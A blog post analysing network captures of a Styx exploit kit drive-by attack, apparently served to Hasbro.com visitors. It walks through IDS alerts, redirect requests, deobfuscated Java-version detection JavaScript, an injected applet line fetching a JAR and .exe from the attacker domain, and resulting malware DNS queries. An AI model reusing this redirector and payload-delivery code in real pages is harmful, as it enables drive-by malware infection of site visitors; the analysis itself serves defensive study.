A couple of days ago, researchers at Barracuda Networks reported that Hasbro.com was serving malware to its visitors. For additional information, I recommend that you read the Threatpost blog, which covers the story in greater detail. The purpose for this blog post is to provide my analysis of the network traffic file(s) that were provided by Barracuda Networks, which you can obtain here.
Obviously, this is nothing new. Exploit kits, specifically this one, are nothing new. However, as I continue to dive into the malware research world, I think it makes sense to explore the inner workings of common threats like this one. As a side note, I am not suggesting that this is by any means the best and only way to conduct this type of analysis. So with that, lets dive in!
If you downloaded the PCAP files provided by Barracuda Networks, you will notice that there are a total of four files:
18e085eb9a85601c2228801f6fc0bffd_20140110.pcap
18e085eb9a85601c2228801f6fc0bffd_20140111.pcap
18e085eb9a85601c2228801f6fc0bffd_20140114.pcap
18e085eb9a85601c2228801f6fc0bffd_20140120.pcap
I’m going to start with 18e085eb9a85601c2228801f6fc0bffd_20140110.pcap, so crack it open in Wireshark and lets take a look inside.
As I already mentioned, there are different approaches to analyzing these files. If you have access to an intrusion detection system (IDS), such as Suricata or Snort for example, you can actually feed the PCAP file and receive a number of alerts generated from the traffic. The following are the alerts generated by both engines:
Suricata 1.4.7 with the Emerging Threats open ruleset:
01/10/2014-15:34:11.501097 [**] [1:2017841:3] ET CURRENT_EVENTS Styx Exploit Kit - HTML [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 192.168.81.10:1065 -> 88.150.212.91:80
01/10/2014-15:34:13.401392 [**] [1:2011582:33] ET POLICY Vulnerable Java Version 1.6.x Detected [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.81.10:1066 -> 88.150.212.91:80
01/10/2014-15:34:13.401392 [**] [1:2017840:3] ET CURRENT_EVENTS Styx Exploit Kit - JAR Exploit [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 192.168.81.10:1066 -> 88.150.212.91:80
01/10/2014-15:34:15.527412 [**] [1:2013036:7] ET TROJAN Java EXE Download by Vulnerable Version - Likely Driveby [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 88.150.212.91:80 -> 192.168.81.10:1066
01/10/2014-15:34:15.527412 [**] [1:2013037:7] ET POLICY Java EXE Download [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 88.150.212.91:80 -> 192.168.81.10:1066
01/10/2014-15:34:19.210125 [**] [1:2015560:3] ET TROJAN Suspicious Self Signed SSL Certificate to (MyCompany Ltd) likely Shylock CnC [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 96.236.20.50:443 -> 192.168.81.10:1068
Snort 2.9.5 with the Sourcefire registered ruleset:
01/10-15:34:05.932303 [**] [1:28039:4] INDICATOR-COMPROMISE Suspicious .pw dns query [**] [Classification: A Network Trojan was Detected] [Priority: 1] {UDP} 192.168.81.10:1035 -> 4.2.2.3:53
01/10-15:34:13.103284 [**] [1:25137:5] EXPLOIT-KIT Styx exploit kit jar outbound connection [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 192.168.81.10:1066 -> 88.150.212.91:80
01/10-15:34:14.976615 [**] [1:25140:4] EXPLOIT-KIT Styx exploit kit portable executable download request [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 192.168.81.10:1066 -> 88.150.212.91:80
01/10-15:34:15.180831 [**] [1:27936:1] EXPLOIT-KIT Styx exploit kit portable executable download [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 88.150.212.91:80 -> 192.168.81.10:1066
01/10-15:34:15.180831 [**] [1:25042:3] EXPLOIT-KIT Java User-Agent downloading Portable Executable - Possible exploit kit [**] [Classification: A Network Trojan was Detected] [Priority: 1] {TCP} 88.150.212.91:80 -> 192.168.81.10:1066
Awesome. As you can see, it’s extremely likely that the threat involved in this particular PCAP is related to the Styx exploit kit, which we’ll dive into shortly.
If you take a close look at the alerts and timestamps generated, they almost tell a story for us. Looking at the Suricata alerts, you can see that the first Styx HTML alert is most likely from the exploit kit’s landing page. As expected, it’s likely that redirections took place, ultimately leading to the exploitation phase. As you can see from the second alert, Suricata detected a vulnerable version of Java in the User Agent header. The following alert is the download of a JAR file, which contains the exploit. Finally, the exploit downloads a malicious binary, which we can clearly see with the last two alerts that were generated.
Now that we have a pretty good idea of the chain of events, lets take a closer look at specific malicious requests in the PCAP that set off these alerts.
The life of just about any exploit kit generally begins from a redirector or landing page. In this case, visitors land on a redirector page where they receive the first redirection. Lets take a look.
GET /Z3DR_910ck750_5ki50G24U-00okB0-5FXR0Rv_Mf0ZU/D9004J-404eLT15jI_y0Lvq_k0kRB_516gK30Kf-Ec0rX_CB0ocNM_0cI7H0z/S9T0DrXV0-KCMt0_GL-6s0FMyH0-VdXH09/4DA0KC_MC/ HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept-Encoding: gzip, deflate
Host: pphnq.downsdlowerscars.com
Connection: Keep-Alive
Following the initial request to the redirector page, the following redirection to the landing page takes place. Here’s what that looks like:
HTTP/1.1 302 Found
Date: Fri, 10 Jan 2014 21:34:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Location: http://pphnq.downsdlowerscars.com/GMCs8O-0t1mL0W0av-02t7-R0Haa80/PWCC0Xp/Yl0-0bBp/0aqK/I01y9T/0tHt_X0vxAc/0Ws1E-14LN81-3AP511P_K10uk/b20JbN/I0q9d_G0nN/Bn0_2Ez70jkxl_0djEQ_0tBaG0/mFs30bAB/k0LmHc11-PDt0G3/eT0zi9_u128R/R0t/cKd0b_7xj0-Bem413X/Ap0Pf8-n0Fma_y0v_SK11/7PJJ0_xLXi06g_kV0n/S0H0p/x1L-0WjS80sA_c90GFk_30I6p/A050/RL0P_Poo0S/BL60_DzoH0lN_250r/iq80fhfB0x-WRG0GT5e/
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Server: Microsoft-IIS/6.0
Status: 302
X-AspNetMvc-Version: 1.0
X-Powered-By: ASP.NET
As you can see, users received the HTTP response status code 302 Found, which is a common way to perform a redirection, especially in most exploit kits. Take note of the location where the users will be redirected to–this is the landing page.
GET /GMCs8O-0t1mL0W0av-02t7-R0Haa80/PWCC0Xp/Yl0-0bBp/0aqK/I01y9T/0tHt_X0vxAc/0Ws1E-14LN81-3AP511P_K10uk/b20JbN/I0q9d_G0nN/Bn0_2Ez70jkxl_0djEQ_0tBaG0/mFs30bAB/k0LmHc11-PDt0G3/eT0zi9_u128R/R0t/cKd0b_7xj0-Bem413X/Ap0Pf8-n0Fma_y0v_SK11/7PJJ0_xLXi06g_kV0n/S0H0p/x1L-0WjS80sA_c90GFk_30I6p/A050/RL0P_Poo0S/BL60_DzoH0lN_250r/iq80fhfB0x-WRG0GT5e/ HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept-Encoding: gzip, deflate
Host: pphnq.downsdlowerscars.com
Connection: Keep-Alive
The response from that redirection sends users to the plugin detection stage of the Styx exploit kit. Basically, it is where we will find the actual obfuscated JavaScript payload with the PluginDetect component, version 0.8.0. PluginDetect, as mentioned on the linked website, “is a JavaScript library that detects browser plugins,” such as the following:
- Java
- QuickTime
- Shockwave
- Adobe Flash
- Adobe Reader
- Windows Media Player
- Silverlight
- VLC Player
- ActiveX
- RealPlayer
The status and version identification of some of the mentioned browser plugins above allow the exploit kit to tailor the correct exploit for the compromised system. Anyway, lets take a closer look at the obfuscated portion of the script. As a side note, I used node and js-beautify combined with a little pbcopy action and Sublime Text editor to beatify this ugly mess. Here’s the output from what I was able to deobfuscate:
function NyMpwEMG() {
var FHQxrYhsp = window.PluginDetect.getVersion("Java");
if (typeof FHQxrYhsp == 'string') {
FHQxrYhsp = FHQxrYhsp.split(",");
if (FHQxrYhsp[3].length == 1) {
FHQxrYhsp = "" + FHQxrYhsp[1] + "0" + FHQxrYhsp[3];
} else {
FHQxrYhsp = "" + FHQxrYhsp[1] + FHQxrYhsp[3];
}
} else {
FHQxrYhsp = 0;
} if ((FHQxrYhsp >= 500 && FHQxrYhsp <= 632) || (FHQxrYhsp >= 700 && FHQxrYhsp <= 709)) {
return "JSwkYux.html";
};
if ((FHQxrYhsp >= 633 && FHQxrYhsp <= 645)) {
return "ySnWHR.html";
};
if ((FHQxrYhsp >= 710 && FHQxrYhsp < 725)) {
return "XdMGGiCPB.html";
};
return "uDLhux.html";
}
location.href = NyMpwEMG();
As you can clearly see from the code above, we’re checking for the version of Java using window.PluginDetect.getVersion("Java"). The resulting version will be returned in the format of “A,B,C,D”, as explained here. Here’s the snippet of that portion of the deobfuscated code:
var FHQxrYhsp = window.PluginDetect.getVersion("Java");
if (typeof FHQxrYhsp == 'string') {
FHQxrYhsp = FHQxrYhsp.split(",");
if (FHQxrYhsp[3].length == 1) {
FHQxrYhsp = "" + FHQxrYhsp[1] + "0" + FHQxrYhsp[3];
} else {
FHQxrYhsp = "" + FHQxrYhsp[1] + FHQxrYhsp[3];
As mentioned, the detected version of Java will be stored as a string in comma delimited format in the FHQxrYhsp variable. The next step in the snippet above is to check if the stored value in FHQxrYhsp is in fact a string. If it is, it will split the string by the comma delimiter, which will result in a Java version made up of all numerical digits, such as 707, for example. Once the version is determined, it is checked against version ranges and returned to the correct page that will serve up the exploit for the particular Java version. Here’s the code for that part:
} if ((FHQxrYhsp >= 500 && FHQxrYhsp <= 632) || (FHQxrYhsp >= 700 && FHQxrYhsp <= 709)) {
return "JSwkYux.html";
};
if ((FHQxrYhsp >= 633 && FHQxrYhsp <= 645)) {
return "ySnWHR.html";
};
if ((FHQxrYhsp >= 710 && FHQxrYhsp < 725)) {
return "XdMGGiCPB.html";
};
return "uDLhux.html";
The Java version comparisons should be obvious here. For example, the first comparison reads “if greater than or equal to 5.0.0 and less than or equal to 6.3.2, or greater than or equal to 7.0.0 and less than or equal to 7.0.9, serve JSwkYux.html”, and so forth. If non of those versions check out, the default served HTML file will be uDLhux.html.
If we go back to the network traffic, one of the requests is the following:
GET /GMCs8O-0t1mL0W0av-02t7-R0Haa80/PWCC0Xp/Yl0-0bBp/0aqK/I01y9T/0tHt_X0vxAc/0Ws1E-14LN81-3AP511P_K10uk/b20JbN/I0q9d_G0nN/Bn0_2Ez70jkxl_0djEQ_0tBaG0/mFs30bAB/k0LmHc11-PDt0G3/eT0zi9_u128R/R0t/cKd0b_7xj0-Bem413X/Ap0Pf8-n0Fma_y0v_SK11/7PJJ0_xLXi06g_kV0n/S0H0p/x1L-0WjS80sA_c90GFk_30I6p/A050/RL0P_Poo0S/BL60_DzoH0lN_250r/iq80fhfB0x-WRG0GT5e/JSwkYux.html HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://pphnq.downsdlowerscars.com/GMCs8O-0t1mL0W0av-02t7-R0Haa80/PWCC0Xp/Yl0-0bBp/0aqK/I01y9T/0tHt_X0vxAc/0Ws1E-14LN81-3AP511P_K10uk/b20JbN/I0q9d_G0nN/Bn0_2Ez70jkxl_0djEQ_0tBaG0/mFs30bAB/k0LmHc11-PDt0G3/eT0zi9_u128R/R0t/cKd0b_7xj0-Bem413X/Ap0Pf8-n0Fma_y0v_SK11/7PJJ0_xLXi06g_kV0n/S0H0p/x1L-0WjS80sA_c90GFk_30I6p/A050/RL0P_Poo0S/BL60_DzoH0lN_250r/iq80fhfB0x-WRG0GT5e/
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept-Encoding: gzip, deflate
Host: pphnq.downsdlowerscars.com
Connection: Keep-Alive
If you look closely, you will notice that the request is issued to retrieve the JSwkYux.html page, indicating that the Java version string detected for this particular host was in one of the first two ranges above.
Looking further down in the PCAP, I also noticed one of the pages (I’m assuming the above, but I didn’t verify), contained the following document.write code:
document.write('<app'+'let archive="jadUXNzd.jar" code="yoLSXq.TyIlzQyX"><param val'+'ue="http://pphnq.downsdlowerscars.com/LBIDyj/0c_khG0-lbF1-173l_406wy-70ov_k10_H3/TP0SRQ_h0EYpt09/lUd0Xh-OZ04-UZ-Q0uD1g-0s/SZT0g_3d70YqV-40-UVgT0_YuoO0_KsnJ0t_zUU0_KsU/r0vF-EL0dA/uZ0Dwn_x0V-oXq0pl9X-0Up_k10U/bXY0/Ldk_10u/vI50QW_q302tM9/0N3ij0_vANR0_MSkq0ov/M413lCY0-wPaJ0Bt_ZX0/VG030AM-gZ0eVH0/137qN0fV8/J0VHT/k0M1K/c0Tlp/D0WY_ft0R-NGG0z/PXW0af/gZ0YEN-u0Fk950op_rf/0P9P-g0M/Xf8-0uDSG-0aWq_H01XO-u/8RnedLDhV7.exe?ZI8z8NMxa=9db7d" name="MPtVsaij"/></app'+'let>');
I think it is safe to assume that would be the JAR file containing the appropriate exploit for the vulnerable Java version that was detected. Not surprisingly, the following HTTP request followed:
GET /GMCs8O-0t1mL0W0av-02t7-R0Haa80/PWCC0Xp/Yl0-0bBp/0aqK/I01y9T/0tHt_X0vxAc/0Ws1E-14LN81-3AP511P_K10uk/b20JbN/I0q9d_G0nN/Bn0_2Ez70jkxl_0djEQ_0tBaG0/mFs30bAB/k0LmHc11-PDt0G3/eT0zi9_u128R/R0t/cKd0b_7xj0-Bem413X/Ap0Pf8-n0Fma_y0v_SK11/7PJJ0_xLXi06g_kV0n/S0H0p/x1L-0WjS80sA_c90GFk_30I6p/A050/RL0P_Poo0S/BL60_DzoH0lN_250r/iq80fhfB0x-WRG0GT5e/jadUXNzd.jar HTTP/1.1
accept-encoding: pack200-gzip, gzip
content-type: application/x-java-archive
User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_10
Host: pphnq.downsdlowerscars.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
As you can see, a request was made to download the same jadUXNzd.jar file that was listed in the snippet above. Here’s the response:
HTTP/1.1 200 OK
Date: Fri, 10 Jan 2014 21:34:15 GMT
Content-Type: application/octet-stream; charset=binary
Content-Length: 389120
Connection: keep-alive
Cache-Control: no-cache, must-revalidate
Content-Disposition: attachment; filename="up5P7Ufrag.exe"
Content-Transfer-Encoding: binary
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 10 Jan 2014 21:33:01 GMT
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Pragma: no-cache
Server: Microsoft-IIS/6.0
X-AspNetMvc-Version: 1.0
X-Powered-By: ASP.NET
And the magic number to confirm that it is indeed a binary file:
MZ@ !L!This program cannot be run in DOS mode.
$d777P77;777777P7777Rich7PEL0@@[email protected]^.0 .rdata@ @@@.data``@.rsrc@@Ujjjj@@jj@@@@jjjjj@@jjjjjjjjj]UEjjjj@@hL@@:jjjjj
Just to quickly recap, at this point the exploit kit managed to detect the version of Java, and redirected the user to the correct page serving the exploit specific to the vulnerable version of Java detected. The Java exploit was downloaded and executed on the host, which downloaded the binary above. I will not go into the specific analysis of the downloaded binary (at least not on this post), but it’s most likely some piece of malware that will connect back to a CnC server. Perhaps the following DNS queries are from the malware itself since they followed right after the binary was downloaded. I didn’t actually look into this, but I’m making the assumption here.
Here are the DNS queries that were performed:
ehooxir3.vbp.cc: type A, class IN
6q19bzhlg52f12.vbp.cc: type A, class IN
uclouyvgm773v5.vbp.cc: type A, class IN
4qnrv3p6q5n0cy.vbp.cc: type A, class IN
7kxf5cqolnwrfsm.vbp.cc: type A, class IN
pee6omcdntfcfmlx98.vbp.cc: type A, class IN
4rj3u6gyg1.vbp.cc: type A, class IN
v8vsjv.vbp.cc: type A, class IN
vhcm80wlg02q6hq.vbp.cc: type A, class IN
Alright, that is enough. Feel free to dive into the rest of the PCAPs yourself, although I imagine it to be similar network traffic. Hope you enjoyed this like I did!